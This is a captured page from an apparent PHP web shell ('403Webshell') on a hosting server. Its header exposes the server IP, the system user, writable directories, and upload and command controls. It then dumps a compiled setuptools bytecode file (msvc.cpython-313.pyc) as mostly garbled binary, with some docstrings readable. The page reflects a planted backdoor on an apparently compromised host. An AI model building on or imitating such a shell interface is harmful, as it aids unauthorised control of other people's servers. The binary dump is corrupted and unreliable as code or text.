403Webshell
Server IP : 217.160.0.216  /  Your IP : 216.73.217.104
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u116689255 ( 10217649)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/__pycache__/msvc.cpython-313.pyc
�

�h����h�%SrSSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSK	J
r
Jr SSKJ
r
 SSKr\
(aSSKJrJr \
(d \R&"5S:XaSSKrSSKJr O"S	S
5r\"5rS\S'"S
S5r"SS5r"SS5r"SS\5r"SS5rg)zo
Environment info about Microsoft Compilers.

>>> getfixture('windows_only')
>>> ei = EnvironmentInfo('amd64')
�)�annotationsN)�
TYPE_CHECKING�	TypedDict)�unique_everseen)�
LiteralString�NotRequired�Windows)�environc�$�\rSrSrSrSrSrSrSrg)�winreg� N�)	�__name__�
__module__�__qualname__�__firstlineno__�
HKEY_USERS�HKEY_CURRENT_USER�HKEY_LOCAL_MACHINE�HKEY_CLASSES_ROOT�__static_attributes__r��1/usr/lib/python3/dist-packages/setuptools/msvc.pyrr s���
� ��!�� �rrzdict[str, str]r
c��\rSrSrSr\R"SS5R5rSSjr	\
S5rSrSr
SSS	jjrSSS
jjrSSjrSrg
)�PlatformInfo�)zi
Current and Target Architectures information.

Parameters
----------
arch: str
    Target architecture.
�processor_architecture�c�N�UR5RSS5Ulg)N�x64�amd64)�lower�replace�arch)�selfr$s  r�__init__�PlatformInfo.__init__5s���J�J�L�(�(���8��	rc�X�URURRS5S-S$)zC
Return Target CPU architecture.

Return
------
str
    Target CPU
�_�N)r$�find�r%s r�
target_cpu�PlatformInfo.target_cpu8s(���y�y�������,�q�0�2�3�3rc� �URS:H$)zW
Return True if target CPU is x86 32 bits..

Return
------
bool
    CPU is x86 32 bits
�x86�r-r,s r�
target_is_x86�PlatformInfo.target_is_x86Ds�����%�'�'rc� �URS:H$)zX
Return True if current CPU is x86 32 bits..

Return
------
bool
    CPU is x86 32 bits
r0��current_cpur,s r�current_is_x86�PlatformInfo.current_is_x86Os�����5�(�(rc��URS:Xa	U(aS$URS:Xa	U(aS$SUR3$)u
Current platform specific subfolder.

Parameters
----------
hidex86: bool
    return '' and not '†' if architecture is x86.
x64: bool
    return 'd' and not 'md64' if architecture is amd64.

Return
------
str
    subfolder: '        arget', or '' (see hidex86 parameter)
r0rr!�\x64�\r5�r%�hidex86r s   r�current_dir�PlatformInfo.current_dirZsR��$� � �E�)�g�
�	
�� � �G�+���	
�
�d�&�&�'�(�	
rc��URS:Xa	U(aS$URS:Xa	U(aS$SUR3$)a
Target platform specific subfolder.

Parameters
----------
hidex86: bool
    return '' and not '\x86' if architecture is x86.
x64: bool
    return '\x64' and not '\amd64' if architecture is amd64.

Return
------
str
    subfolder: '\current', or '' (see hidex86 parameter)
r0rr!r:r;r1r<s   r�
target_dir�PlatformInfo.target_dirrsL��$���5�(�W�
�	
����7�*�s��	
�
�d�o�o�&�'�	
rc��U(aSOURnURU:XaS$UR5RSSUS35$)a
Cross platform specific subfolder.

Parameters
----------
forcex86: bool
    Use 'x86' as current architecture even if current architecture is
    not x86.

Return
------
str
    subfolder: '' if target architecture is current architecture,
    '\current_target' if not.
r0rr;r))r6r-rAr#)r%�forcex86�currents   r�	cross_dir�PlatformInfo.cross_dir�sQ�� $�%��)9�)9�����'�)�
�	
����"�*�*�4�2�g�Y�a��A�	
r)r$N��return�None)FF�rI�str�F)rrrr�__doc__r
�getr"r6r&�propertyr-r2r7r>rArFrrrrrr)sU����+�+�6��;�A�A�C�K�9��	4��	4�	(�	)�
�0
�0
rrc�.�\rSrSrSr\R\R\R\R4r
SSjr\SSj5r
\S5r\S5r\S5r\SSj5r\SS	j5r\S
5r\S5r\SSj5rSS
jrSrSrg)�RegistryInfo�z�
Microsoft Visual Studio related registry information.

Parameters
----------
platform_info: PlatformInfo
    "PlatformInfo" instance.
c��Xlg�N��pi)r%�
platform_infos  rr&�RegistryInfo.__init__�s���rc��g)zP
Microsoft Visual Studio root registry key.

Return
------
str
    Registry key
�VisualStudiorr,s r�visualstudio�RegistryInfo.visualstudio�s��rc�V�[RRURS5$)zO
Microsoft Visual Studio SxS registry key.

Return
------
str
    Registry key
�SxS)�os�path�joinr\r,s r�sxs�RegistryInfo.sxs�s���w�w�|�|�D�-�-�u�5�5rc�V�[RRURS5$)zL
Microsoft Visual C++ VC7 registry key.

Return
------
str
    Registry key
�VC7�r`rarbrcr,s r�vc�RegistryInfo.vc�����w�w�|�|�D�H�H�e�,�,rc�V�[RRURS5$)zO
Microsoft Visual Studio VS7 registry key.

Return
------
str
    Registry key
�VS7rgr,s r�vs�RegistryInfo.vs�rjrc��g)zS
Microsoft Visual C++ for Python registry key.

Return
------
str
    Registry key
zDevDiv\VCForPythonrr,s r�
vc_for_python�RegistryInfo.vc_for_python�s��%rc��g)zA
Microsoft SDK registry key.

Return
------
str
    Registry key
zMicrosoft SDKsrr,s r�
microsoft_sdk�RegistryInfo.microsoft_sdk�s�� rc�V�[RRURS5$)zR
Microsoft Windows/Platform SDK registry key.

Return
------
str
    Registry key
r	�r`rarbrsr,s r�windows_sdk�RegistryInfo.windows_sdk�s���w�w�|�|�D�.�.�	�:�:rc�V�[RRURS5$)zP
Microsoft .NET Framework SDK registry key.

Return
------
str
    Registry key
�NETFXSDKrvr,s r�	netfx_sdk�RegistryInfo.netfx_sdk
s���w�w�|�|�D�.�.�
�;�;rc��g)zP
Microsoft Windows Kits Roots registry key.

Return
------
str
    Registry key
zWindows Kits\Installed Rootsrr,s r�windows_kits_roots�RegistryInfo.windows_kits_rootss��/rc��URR5(dU(aSOSn[RR	SUSU5$)z�
Return key in Microsoft software registry.

Parameters
----------
key: str
    Registry key path where look.
x86: str
    Force x86 software registry.

Return
------
str
    Registry key
r�Wow6432Node�Software�	Microsoft)rWr7r`rarb)r%�keyr0�node64s    r�	microsoft�RegistryInfo.microsoft"s8�� �w�w�-�-�/�/�3��M���w�w�|�|�J���S�A�Arc	�>�[Rn[Rn[RnURnUR
HBnSnU"Xv"U5SU5n[R"X�5SU(aU"U5 s $s $ g![aI URR5(d&U"Xv"US5SU5nNn![a M�f=fM�f=f![a Of=fU(a
U"U5 M�M�!U(a	U"U5 ff=f)z�
Look for values in registry in Microsoft software registry.

Parameters
----------
key: str
    Registry key path where look.
name: str
    Value name to find.

Return
------
str
    value
NrT)
r�KEY_READ�OpenKey�CloseKeyr��HKEYS�OSErrorrWr7�QueryValueEx)	r%r��name�key_read�openkey�closekey�ms�hkey�bkeys	         r�lookup�RegistryInfo.lookup5s
�� �?�?���.�.���?�?��
�^�^���J�J�D��D�	
��t�R��W�a��:��
#��*�*�4�6�q�9���T�N��#�&���
��w�w�-�-�/�/�!�&�t�R��T�]�A�x�H���"�!� �!���
���
��
�����T�N���4��T�N��sT�B� C&�)C#�:C
�
C�C#�C�C#�"C#�&
C3�0D
�2C3�3D
�
DrVNrHrKrM)rrrrrNrrrrrr�r&rPr\rcrhrmrprsrwr{r~r�r�rrrrrRrR�s����	���� � ��!�!�� � �	
�E� ��	��	��	6��	6��	-��	-��	-��	-��	%��	%��	 ��	 ��	;��	;��	<��	<��	/��	/�B�&'rrRc���\rSrSrSr\R"SS5r\R"SS5r\R"S\5r	S!S"Sjjr
S	rS
rS#Sjr
\S5r\S
5r\S5rSrSr\S$Sj5r\S5r\S%Sj5r\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S&Sj5r \S&Sj5r!S&Sjr"\S'Sj5r#S r$g)(�
SystemInfoi_z�
Microsoft Windows and Visual Studio related system information.

Parameters
----------
registry_info: RegistryInfo
    "RegistryInfo" instance.
vc_ver: float
    Required Microsoft Visual C++ version.
�WinDirr�ProgramFileszProgramFiles(x86)Nc��XlURRUlUR5UlU=(d UR	5=UlUlgrU)�rirW�find_programdata_vs_vers�known_vs_paths�_find_latest_available_vs_ver�vs_ver�vc_ver)r%�
registry_infor�s   rr&�SystemInfo.__init__qsE�����'�'�*�*���"�;�;�=���%+�$R�d�.P�.P�.R�R���d�krc��UR5nU(d0UR(d[RR	S5e[U5nUR
UR5 [U5S$)z=
Find the latest VC version

Return
------
float
    version
z%No Microsoft Visual C++ version found���)�find_reg_vs_versr��	distutils�errors�DistutilsPlatformError�set�update�sorted)r%�reg_vc_vers�vc_verss   rr��(SystemInfo._find_latest_available_vs_verzsf���+�+�-���t�2�2��"�"�9�9�7��
��k�"�����t�*�*�+��g��r�"�"rc
��URRnURRURRURR4n/n[
R"URRU5GH.upE[R"XA"U5S[R5nU [R"U5upxn	[U5H^n
[R"[ 5 [#[R$"Xj5S5nX�;aUR'U5 SSS5 M` [U5H[n
[R"[ 5 [#[R("Xj55nX�;aUR'U5 SSS5 M] SSS5 GM1 [+U5$![a GMLf=f!,(df   GM=f!,(df   M�=f!,(df   GM�=f)zh
Find Microsoft Visual Studio versions available in registry.

Return
------
list of float
    Versions
rN)r�r�rhrprm�	itertools�productr�rr�r�r��QueryInfoKey�range�
contextlib�suppress�
ValueError�float�	EnumValue�append�EnumKeyr�)r%r��vckeys�vs_versr�r�r��subkeys�valuesr)�i�vers            rr��SystemInfo.find_reg_vs_vers�sw���W�W�
�
���'�'�*�*�d�g�g�3�3�T�W�W�Z�Z�@����"�*�*�4�7�7�=�=�&�A�I�D�
��~�~�d�B�s�G�Q����H���%+�%8�%8��%>�"����v��A�#�,�,�Z�8�#�F�$4�$4�T�$=�a�$@�A���-�#�N�N�3�/�9�8�'�
�w��A�#�,�,�Z�8�#�F�N�N�4�$;�<���-�#�N�N�3�/�9�8�(���B�"�g�����
��
��
9�8��
9�8����sO�,G�:AG:�<9G	�54G:�)6G(	�G:�
G�G�
G%
�	G:�(
G7
�2G:�:
H
	c��0nSn[R"U5nUH�n[RR	X$S5n[USSS9n[R"U5nSSS5 WSn[R"[RR	US55 UXRUS	5'M� U$![a Us$f=f!,(df   Nu=f![[4a M�f=f)
z�
Find Visual studio 2017+ versions from information in
"C:\ProgramData\Microsoft\VisualStudio\Packages\_Instances".

Return
------
dict
    float version as key, path as value.
z9C:\ProgramData\Microsoft\VisualStudio\Packages\_Instancesz
state.json�rtzutf-8)�encodingN�installationPath�
VC\Tools\MSVC�installationVersion)
r`�listdirr�rarb�open�json�load�_as_float_version�KeyError)	r%�vs_versions�
instances_dir�hashed_namesr��
state_path�
state_file�state�vs_paths	         rr��#SystemInfo.find_programdata_vs_vers�s���)+��T�
�	��:�:�m�4�L�!�D�
��W�W�\�\�-�|�L�
��*�d�W�=�� �I�I�j�1�E�>�� 2�3���
�
�2�7�7�<�<��1A�B�C���2�2�5�9N�3O�P�Q�!�(���1�	���	��>�=���X�&�
��
�s;�C�+C$�
C�$AC$�C�C�
C!	�C$�$C8�7C8c�Z�[SRURS5SS55$)z�
Return a string version as a simplified float version (major.minor)

Parameters
----------
version: str
    Version.

Return
------
float
    version
�.N�)r�rb�split)�versions rr��SystemInfo._as_float_version�s(���S�X�X�g�m�m�C�0��!�4�5�6�6rc��[RRURSURS35nUR
R
UR
RURS5=(d U$)z@
Microsoft Visual Studio directory.

Return
------
str
    path
�Microsoft Visual Studio �0.1f)r`rarb�ProgramFilesx86r�r�r�rm)r%�defaults  r�VSInstallDir�SystemInfo.VSInstallDir�s]���'�'�,�,�� � �$<�T�[�[��<N�"O�
��
�w�w�~�~�d�g�g�j�j�T�[�[��,>�@�K�G�Krc���UR5=(d UR5n[RR	U5(d!Sn[
RRU5eU$)z=
Microsoft Visual C++ directory.

Return
------
str
    path
z(Microsoft Visual C++ directory not found)�	_guess_vc�_guess_vc_legacyr`ra�isdirr�r�r�)r%ra�msgs   r�VCInstallDir�SystemInfo.VCInstallDir�sR���~�~��:�4�#8�#8�#:���w�w�}�}�T�"�"�<�C��"�"�9�9�#�>�>��rc��URS::agURURn[R
R
US5n[R"U5SnURU5Ul	[R
R
X#5$![a URnN�f=f![[4a gf=f)z<
Locate Visual C++ for VS2017+.

Return
------
str
    path
�,@rr�r�)r�r�r�r�r`rarbr�r�r�r��
IndexError)r%�vs_dir�guess_vcr�s    rr��SystemInfo._guess_vcs����;�;�$���	'��(�(����5�F�
�7�7�<�<��(8�9��	��Z�Z��)�"�-�F��0�0��8�D�K��7�7�<�<��1�1���	'��&�&�F�	'����$�	��	�s$�B�
A
B7�B4�3B4�7C
�	C
c��[RRURSURSS35n[RRUR
RURS5nUR
RUS5nU(a [RRUS5OUnUR
RUR
RURS5=(d U$)zK
Locate Visual C++ for versions prior to 2017.

Return
------
str
    path
r�r�z\VC�
installdir�VC)	r`rarbr�r�r�rpr�rh)r%r��reg_path�	python_vc�
default_vcs     rr��SystemInfo._guess_vc_legacy*s����'�'�,�,�� � �'����D�'9��=�
���7�7�<�<���� 5� 5�$�+�+�d�9K�M���G�G�N�N�8�\�:�	�6?�R�W�W�\�\�)�T�2�W�
��w�w�~�~�d�g�g�j�j�T�[�[��,>�@�N�J�Nrc��URS::agURS:XagURS:XagURS:XagURS	:�ag
g)zg
Microsoft Windows SDK versions for specified MSVC++ version.

Return
------
tuple of str
    versions
�"@)z7.0z6.1z6.0a�$@)z7.1z7.0a�&@)z8.0z8.0a�(@)�8.1z8.1ar�)z10.0r�r�r�r,s r�WindowsSdkVersion�SystemInfo.WindowsSdkVersion@sR���;�;�#��'�
�[�[�D�
 � �
�[�[�D�
 � �
�[�[�D�
 � �
�[�[�D�
 � �rc�t�UR[RRURS55$)zD
Microsoft Windows SDK last version.

Return
------
str
    version
�lib)�_use_last_dir_namer`rarb�
WindowsSdkDirr,s r�WindowsSdkLastVersion� SystemInfo.WindowsSdkLastVersionVs*���&�&�r�w�w�|�|�D�4F�4F��'N�O�Orc�"�SnURH_n[RRURR
SU35nURR
US5nU(dM_ O U(a$[RRU5(d�[RRURRURS5nURR
US5nU(a [RRUS5nU(a$[RRU5(d~URHnnUSURS5nS	U3n[RRURU5n[RRU5(dMlUnMp U(a$[RRU5(djURHZnS
U3n[RRURU5n[RRU5(dMXUnM\ U(d*[RRURS5nU$)z>
Microsoft Windows SDK directory.

Return
------
str
    path
r�v�installationfolderr�r��WinSDKNr�zMicrosoft SDKs\Windows Kits\zMicrosoft SDKs\Windows\v�PlatformSDK)
rr`rarbr�rwr�r�rpr��rfindr�r�)r%�sdkdirr��locra�install_base�intver�ds        rr�SystemInfo.WindowsSdkDirbs��� ���)�)�C��'�'�,�,�t�w�w�2�2�a��u�I�>�C��W�W�^�^�C�)=�>�F��v��*��R�W�W�]�]�6�2�2��7�7�<�<���� 5� 5�$�+�+�d�9K�M�D��7�7�>�>�$��=�L�������l�H�=���R�W�W�]�]�6�2�2��-�-���-�s�y�y��~�.��6�v�h�?���G�G�L�L��!2�!2�D�9���7�7�=�=��#�#��F�.��R�W�W�]�]�6�2�2��-�-��2�3�%�8���G�G�L�L��!2�!2�D�9���7�7�=�=��#�#��F�	.�
��W�W�\�\�$�"3�"3�]�C�F��
rc�x�URS::aSnSnO@SnURS::aSOSnURRSUS9RS	S
5nSUSU3n/nURS
:�aKURH;nU[
RRURRXd5/-
nM= URH@nU[
RRURRSUS3U5/-
nMB UH*nURRUS5nU(dM(Us $ g)zI
Microsoft Windows SDK executable directory.

Return
------
str
    path
r��#r�(r�TF)r r=r;�-zWinSDK-NetFx�Toolsr�r	�Ar
N)
r�rWr>r#�NetFxSdkVersionr`rarbr�r{rrwr�)	r%�netfxverr$r=�fx�regpathsr�ra�execpaths	         r�WindowsSDKExecutablePath�#SystemInfo.WindowsSDKExecutablePath�s%���;�;�$���H��D��H�"�k�k�T�1�d�u�G��7�7�&�&�4��&�A�I�I�$�PS�T�D��H�:�U�4�&�
1�����;�;�$���+�+���R�W�W�\�\�$�'�'�*;�*;�S�E�F�F��,��)�)�C�������d�g�g�&9�&9�Q�s�e�1�:�r�J�K�K�H�*��D��w�w�~�~�d�,@�A�H��x����
rc���[RRURRUR
SS35nURR
US5=(d S$)z<
Microsoft Visual F# directory.

Return
------
str
    path
r�z	\Setup\F#�
productdirr)r`rarbr�r\r�r�)r%ras  r�FSharpInstallDir�SystemInfo.FSharpInstallDir�sJ���w�w�|�|�D�G�G�0�0�d�k�k�$�5G�y�2Q�R���w�w�~�~�d�L�1�7�R�7rc���URS:�aSOSnUHJnURRURRSU35nU(dM?U=(d Ss $ g)zD
Microsoft Universal CRT SDK directory.

Return
------
str
    path
r�)�10�81r�kitsrootrN)r�r�r�r~)r%�versr�rs    r�UniversalCRTSdkDir�SystemInfo.UniversalCRTSdkDir�s[�� $�{�{�d�2�|����C��W�W�^�^�D�G�G�$>�$>�(�3�%�@P�Q�F��v��|��#��
rc�t�UR[RRURS55$)zP
Microsoft Universal C Runtime SDK last version.

Return
------
str
    version
r)rr`rarbr*r,s r�UniversalCRTSdkLastVersion�%SystemInfo.UniversalCRTSdkLastVersion�s*���&�&�r�w�w�|�|�D�4K�4K�U�'S�T�Trc�*�URS:�aS$S$)zQ
Microsoft .NET Framework SDK versions.

Return
------
tuple of str
    versions
r�)	z4.7.2z4.7.1z4.7z4.6.2z4.6.1z4.6z4.5.2z4.5.1z4.5rr�r,s rr�SystemInfo.NetFxSdkVersion�s%���{�{�d�"�
X�	
��	
rc���SnURH]n[RRURR
U5nURR
US5nU(dM\ U$ U$)zE
Microsoft .NET Framework SDK directory.

Return
------
str
    path
r�kitsinstallationfolder)rr`rarbr�r{r�)r%rr�rs    r�NetFxSdkDir�SystemInfo.NetFxSdkDir�s`�����'�'�C��'�'�,�,�t�w�w�0�0�#�6�C��W�W�^�^�C�)A�B�F��v���
�(�
�
rc���[RRURS5nURRURRS5=(d U$)zG
Microsoft .NET Framework 32bit directory.

Return
------
str
    path
zMicrosoft.NET\Framework�frameworkdir32�r`rarbr�r�r�rh�r%�guess_fws  r�FrameworkDir32�SystemInfo.FrameworkDir32sB���7�7�<�<����-G�H���w�w�~�~�d�g�g�j�j�*:�;�G�x�Grc���[RRURS5nURRURRS5=(d U$)zG
Microsoft .NET Framework 64bit directory.

Return
------
str
    path
zMicrosoft.NET\Framework64�frameworkdir64r7r8s  r�FrameworkDir64�SystemInfo.FrameworkDir64sB���7�7�<�<����-I�J���w�w�~�~�d�g�g�j�j�*:�;�G�x�Grc�$�URS5$)zS
Microsoft .NET Framework 32bit versions.

Return
------
tuple of str
    versions
r
��_find_dot_net_versionsr,s r�FrameworkVersion32�SystemInfo.FrameworkVersion32#����*�*�2�.�.rc�$�URS5$)zS
Microsoft .NET Framework 64bit versions.

Return
------
tuple of str
    versions
�@rAr,s r�FrameworkVersion64�SystemInfo.FrameworkVersion64/rErc��URRURRSU35n[USU35nU=(d UR	US5=(d SnUR
S:�aUS4$UR
S:�aUR
5SS	S
:waSS4$US4$UR
S
:XagUR
S:Xagg)z�
Find Microsoft .NET Framework versions.

Parameters
----------
bits: int
    Platform number of bits: 32 or 64.

Return
------
tuple of str
    versions
�frameworkver�FrameworkDirr	rr�zv4.0r�Nr��v4z
v4.0.30319�v3.5r�)rN�
v2.0.50727g @)zv3.0rOr)r�r�rh�getattrrr�r")r%�bits�reg_ver�dot_net_dirr�s     rrB�!SystemInfo._find_dot_net_versions;s����'�'�.�.������|�D�6�-B�C���d�l�4�&�$9�:���H��0�0��c�B�H�b���;�;�$����;��
�[�[�D�
 �#&�9�9�;�r��?�d�#:�<�V�K�K��V�K�K�
�[�[�C�
�'�
�[�[�C�
�'�rc�^^�UU4Sj[[R"T555n[US5=(d S$)z�
Return name of the last dir in path or '' if no dir found.

Parameters
----------
path: str
    Use dirs in this path
prefix: str
    Use only dirs starting by this prefix

Return
------
str
    name
c3��># �UHcn[RR[RRTU55(dMGUR	T5(dM_Uv� Me g7frU)r`rar�rb�
startswith)�.0�dir_namera�prefixs  ��r�	<genexpr>�0SystemInfo._use_last_dir_name.<locals>.<genexpr>jsN����
�6���w�w�}�}�R�W�W�\�\�$��9�:�
��#�#�F�+�
�H�6�s�AA.�
A.�%	A.Nr)�reversedr`r��next)rarZ�
matching_dirss`` rr�SystemInfo._use_last_dir_nameYs4���"
�$�R�Z�Z��%5�6�
�
��M�4�(�.�B�.r)r�rWr�r�r�rUrH)rIzdict[float, str])rIztuple[LiteralString, ...]�rIz
str | None)rIztuple[str, ...])r)%rrrrrNr
rOr�r�r�r&r�r�r��staticmethodr�rPr�r�r�r�rrrrr#r*r-rr3r:r>rCrHrBrrrrrr�r�_s���	��[�[��2�
&�F��;�;�~�r�2�L��k�k�"5�|�D�O�S�#�(�>(�T�7��7� �L��L�"����"�<O�,����*�	P��	P��(��(�T�"��"�H�
8��
8�����(�	U��	U��
��
� ����"�
H��
H��
H��
H��	/��	/��	/��	/��<�/��/rr�c�H�\rSrSr%S\S'S\S'S\S'S\S'S\S'S	rg
)�_EnvironmentDictisrL�includer�libpathrazNotRequired[str | None]�py_vcruntime_redistrN)rrrr�__annotations__rrrrrdrdss��
�L�	�H�
�L�

�I�0�0rrdc���\rSrSrSrS!S"Sjjr\S5r\S5r\S5r	\S5r
\S	5r\S
5r\S5r
\S5r\S
5r\S5r\S5rSr\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S5r\S#Sj5rS$S%Sjjr Sr!S r"g)&�EnvironmentInfoi{a
Return environment variables for specified Microsoft Visual C++ version
and platform : Lib, Include, Path and libpath.

This function is compatible with Microsoft Visual C++ 9.0 to 14.X.

Script created by analysing Microsoft environment configuration files like
"vcvars[...].bat", "SetEnv.Cmd", "vcbuildtools.bat", ...

Parameters
----------
arch: str
    Target architecture.
vc_ver: float
    Required Microsoft Visual C++ version. If not set, autodetect the last
    version.
vc_min_ver: float
    Minimum Microsoft Visual C++ version.
Nc���[U5Ul[UR5Ul[	URU5UlURU:a!Sn[RRU5eg)Nz.No suitable Microsoft Visual C++ version found)
rrWrRr�r��sir�r�r�r�)r%r$r��
vc_min_ver�errs     rr&�EnvironmentInfo.__init__�s]���t�$����t�w�w�'����T�W�W�f�-����;�;��#�B�C��"�"�9�9�#�>�>�$rc�.�URR$)z;
Microsoft Visual Studio.

Return
------
float
    version
)rlr�r,s rr��EnvironmentInfo.vs_ver�����w�w�~�~�rc�.�URR$)z@
Microsoft Visual C++ version.

Return
------
float
    version
)rlr�r,s rr��EnvironmentInfo.vc_ver�rrrc��SS/nURS:�a/URRSSS9nUS/-
nUS/-
nUSU3/-
nUVs/sH7n[RRURRU5PM9 sn$s snf)zE
Microsoft Visual Studio Tools.

Return
------
list of str
    paths
zCommon7\IDEz
Common7\Toolsr�T�r=r z1Common7\IDE\CommonExtensions\Microsoft\TestWindowzTeam Tools\Performance Tools)r�rWr>r`rarbrlr�)r%�paths�arch_subdirras    r�VSTools�EnvironmentInfo.VSTools�s��� �!1�2���;�;�$���'�'�-�-�d��-�E�K��J�K�K�E��5�6�6�E��5�k�]�C�D�D�E�EJ�K�U�T������T�W�W�1�1�4�8�U�K�K��Ks�>B	c���[RRURRS5[RRURRS5/$)zb
Microsoft Visual C++ & Microsoft Foundation Class Includes.

Return
------
list of str
    paths
�IncludezATLMFC\Include)r`rarbrlr�r,s r�
VCIncludes�EnvironmentInfo.VCIncludes�sG��
�G�G�L�L����-�-�y�9��G�G�L�L����-�-�/@�A�
�	
rc�b�URS:�aURRSS9nOURRSS9nSU3SU3/nURS:�a	USU3/-
nUVs/sH7n[RRURRU5PM9 sn$s snf)	zc
Microsoft Visual C++ & Microsoft Foundation Class Libraries.

Return
------
list of str
    paths
�.@T�r �r=�Libz
ATLMFC\Libr�z	Lib\store)r�rWrAr`rarbrlr�)r%rxrwras    r�VCLibraries�EnvironmentInfo.VCLibraries�s����;�;�$���'�'�,�,��,�6�K��'�'�,�,�T�,�:�K��{�m�$��K�=�&A�B���;�;�$����;�-�0�1�1�E�EJ�K�U�T������T�W�W�1�1�4�8�U�K�K��Ks�+>B,c��URS:a/$[RRURR
S5/$)zW
Microsoft Visual C++ store references Libraries.

Return
------
list of str
    paths
r�zLib\store\references)r�r`rarbrlr�r,s r�VCStoreRefs�EnvironmentInfo.VCStoreRefs�s8���;�;����I������T�W�W�1�1�3J�K�L�Lrc	��URn[RRURS5/nUR
S::aSOSnURRU5nU(a1U[RRURSU35/-
nUR
S:XaLSURRSS93nU[RRURU5/-
nU$UR
S:�GaURRRS	S
5R5n[RRSSUS
35nU[RRURXpRRSS9-5/-
nURRURR:waGU[RRURXpRRSS9-5/-
nU$U[RRURS5/-
nU$)ak
Microsoft Visual C++ Tools.

Return
------
list of str
    paths

When host CPU is ARM, the tools should be found for ARM.

>>> getfixture('windows_only')
>>> mp = getfixture('monkeypatch')
>>> mp.setattr(PlatformInfo, 'current_cpu', 'arm64')
>>> ei = EnvironmentInfo(arch='irrelevant')
>>> paths = ei.VCTools
>>> any('HostARM64' in path for path in paths)
True
�
VCPackagesr�TF�Binr�r�r�r!r �bin�Hostz%sr�)rlr`rarbr�r�rWrFr>r6r#�upperrAr-)r%rl�toolsrDrxra�host_id�host_dirs        r�VCTools�EnvironmentInfo.VCTools�s���(�W�W�������b�o�o�|�<�=���;�;�$�.�4�E���g�g�'�'��1����b�g�g�l�l�2�?�?�c�+��4G�H�I�I�E��;�;�$������,�,�T�,�:�;�<�D��b�g�g�l�l�2�?�?�D�9�:�:�E�&��#�[�[�D�
 ��g�g�)�)�1�1�'�5�A�G�G�I�G��w�w�|�|�E�T�'��"�+=�>�H�������R�_�_�h���9K�9K�PT�9K�9U�.U�V��
�E��w�w�"�"�d�g�g�&8�&8�8���G�G�L�L�����G�G�4G�4G�D�4G�4Q�)Q�������
�b�g�g�l�l�2�?�?�E�:�;�;�E��rc���URS::aRURRSSS9n[RRURRSU35/$URRSS9n[RRURRS5nURn[RRX#SU35/$)zG
Microsoft Windows SDK Libraries.

Return
------
list of str
    paths
r�Trvr�r�r�um)	r�rWrAr`rarbrlr�_sdk_subdir)r%rxr�libvers    r�OSLibraries�EnvironmentInfo.OSLibraries-s����;�;�$���'�'�,�,�T�t�,�D�K��G�G�L�L����!6�!6�#�k�]�8K�L�M�M��'�'�,�,��,�6�K��'�'�,�,�t�w�w�4�4�e�<�C��%�%�F��G�G�L�L����;�-�&@�A�B�Brc���[RRURRS5nUR
S::a"U[RRUS5/$UR
S:�a
URnOSn[RRXS35[RRXS35[RRXS35/$)	zE
Microsoft Windows SDK Include.

Return
------
list of str
    paths
rer��glr�r�sharedr��winrt)r`rarbrlrr�r�)r%re�sdkvers   r�
OSIncludes�EnvironmentInfo.OSIncludesAs����'�'�,�,�t�w�w�4�4�i�@���;�;�$���R�W�W�\�\�'�4�8�9�9��{�{�d�"��)�)���������W���&7�8������W���m�4������W���&6�7��
rc���[RRURRS5n/nUR
S::aX R-
nUR
S:�a$U[RRUS5/-
nUR
S:�a�UU[RRURRS5[RRUSS5[RRUS	S5[RRUS
S5[RRURRSSUR
S
SSS5/-
nU$)zM
Microsoft Windows SDK Libraries Paths.

Return
------
list of str
    paths
�
Referencesr�r�zCommonConfiguration\Neutralr��
UnionMetadataz'Windows.Foundation.UniversalApiContractz1.0.0.0z%Windows.Foundation.FoundationContractz,Windows.Networking.Connectivity.WwanContract�
ExtensionSDKszMicrosoft.VCLibsr��CommonConfiguration�neutral)r`rarbrlrr�r�)r%�refrfs   r�	OSLibpath�EnvironmentInfo.OSLibpath[s'���g�g�l�l�4�7�7�0�0�,�?�����;�;�#���'�'�'�G��;�;�$��������S�*H�I�J�J�G��;�;�$���������T�W�W�2�2�O�D������S�"K�Y�W������S�"I�9�U�������G���������G�G�)�)�#�&��{�{�4�(� �)����
�G�$�rc�4�[UR55$)zC
Microsoft Windows SDK Tools.

Return
------
list of str
    paths
)�list�
_sdk_toolsr,s r�SdkTools�EnvironmentInfo.SdkTools�s���D�O�O�%�&�&rc#�N# �URS:aJURS::aSOSn[RRURR
U5v� URR5(dTURRSS9nSU3n[RRURR
U5v� URS;axURR5(aSnOURRSSS	9nS
U3n[RRURR
U5v� O�URS:�a�[RRURR
S5nURRSS9nURRn[RRX4U35v� URR(aURRv� gg7f)zX
Microsoft Windows SDK Tools paths generator.

Return
------
generator of str
    paths
r�r�r�zBin\x86Tr�)r�r�rrvzBin\NETFX 4.0 ToolsN)r�r`rarbrlrrWr7r>r2rr)r%�bin_dirrxrar�s     rr��EnvironmentInfo._sdk_tools�s�����;�;���#�{�{�d�2�e�
�G��'�'�,�,�t�w�w�4�4�g�>�>��w�w�%�%�'�'��'�'�-�-�$�-�7�K���
�&�D��'�'�,�,�t�w�w�4�4�d�;�;��;�;�,�&��w�w�$�$�&�&� ��"�g�g�1�1�$�D�1�I��)�+��7�D��'�'�,�,�t�w�w�4�4�d�;�;�
�[�[�D�
 ��7�7�<�<���� 5� 5�u�=�D��'�'�-�-�$�-�7�K��W�W�2�2�F��'�'�,�,�t�x��}�%=�>�>��7�7�+�+��'�'�2�2�2�,�s�H#H%c�J�URRnU(aUS3$S$)zE
Microsoft Windows SDK version subdir.

Return
------
str
    subdir
r;r)rlr�r%�ucrtvers  rr��EnvironmentInfo._sdk_subdir�s&���'�'�/�/��#*�7�)�2��2��2rc��URS:�a/$[RRURR
S5/$)zC
Microsoft Windows SDK Setup.

Return
------
list of str
    paths
r��Setup)r�r`rarbrlrr,s r�SdkSetup�EnvironmentInfo.SdkSetup�s7���;�;����I������T�W�W�2�2�G�<�=�=rc��URnURnURS::a4SnUR5(+=(a UR	5(+nOLUR5=(d UR	5nUR
